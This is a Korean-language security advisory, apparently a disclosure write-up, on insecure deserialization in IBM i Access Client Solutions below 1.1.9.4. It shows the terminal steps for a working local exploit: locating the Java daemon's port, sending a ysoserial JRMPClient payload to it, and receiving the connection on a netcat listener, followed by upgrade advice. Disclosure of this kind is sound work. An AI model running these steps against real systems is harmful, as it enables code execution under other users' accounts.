
IBM i Access Client Solutions < 1.1.9.4 - 안전하지 않은 역직렬화로 인한 원격 코드 실행
IBM i Access Client Solutions < 1.1.9.4 - 안전하지 않은 역직렬화를 통한 원격 코드 실행
IBM i Access Client Solutions는 비밀번호 저장 및 비밀번호 암호화를 위한 복호화 키 획득에 안전하지 않은 역직렬화를 사용합니다. 이는 로컬 또는 원격 공격자가 코드를 실행하는 데 사용될 수 있습니다.
로컬 서버는 netstat 명령어를 사용하여 쉽게 찾을 수 있습니다:
┌──(mkubiak㉿localhost)-[/tmp/mkubiak]
└─$ netstat -nltp | grep java
tcp6 0 0 :::34307 :::* LISTEN 3225094/java off (0.00/0/0)
이 로컬 서버에 대한 세부 정보는 ps 명령어로 확인할 수 있습니다:
┌──(mkubiak㉿localhost)-[/tmp/mkubiak]
└─$ ps aux | grep java
mmajchr+ 3224938 6.8 0.9 13305316 301392 pts/6 Sl+ 12:30 0:17 java -jar ./acsbundle_1.9.new.jar
mmajchr+ 3225094 0.3 0.2 11512420 79692 pts/6 Sl+ 12:30 0:00 /usr/lib/jvm/java-17-openjdk-amd64/bin/java -Djava.class.path=/tmp/ACS.lm13910263510749358977.jar -Dvisualvm.display.name=ACS Daemon -Dcom.ibm.tools.attach.displayName=ACS Daemon com.ibm.iaccess.base.LmHybridServerImpl
mkubiak 3238934 0.0 0.0 6464 1992 pts/12 R+ 12:44 0:00 grep --color=auto java
mkubiak 계정에서 ysoserial 페이로드를 사용하여 mmajchrowicz 사용자로 코드 실행을 달성할 수 있습니다:
┌──(mkubiak㉿localhost)-[/tmp/mkubiak]
└─$ id
uid=1012(mkubiak) gid=1012(mkubiak) groups=1012(mkubiak),27(sudo)
┌──(mkubiak㉿localhost)-[/tmp/mkubiak]
└─$ java -jar ysoserial.jar JRMPClient '127.0.0.1:9191' > jrmp.bin
┌──(mkubiak㉿localhost)-[/tmp/mkubiak]
└─$ (sleep 3; cat jrmp.bin) | nat -6 ::1 34307
두 번째 터미널에서는 서비스가 페이로드를 실행한 후 연결을 받게 됩니다:
┌──(mkubiak㉿localhost)-[/tmp/mkubiak]
└─$ nc -lvnp 9191
listening on [any] 9191 ...
connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 38012
JRMIK
┌──(mkubiak㉿localhost)-[/tmp/mkubiak]
└─$
이 문제는 네트워크 패킷 및 사용자 데이터의 안전하지 않은 역직렬화로 인해 발생했습니다. 이 문제는 IBM i Access Client Solutions 1.1.9.4에서 수정되었습니다.
< 1.1.9.4
IBM i Access Client Solutions를 1.1.9.4 이상으로 업데이트하세요.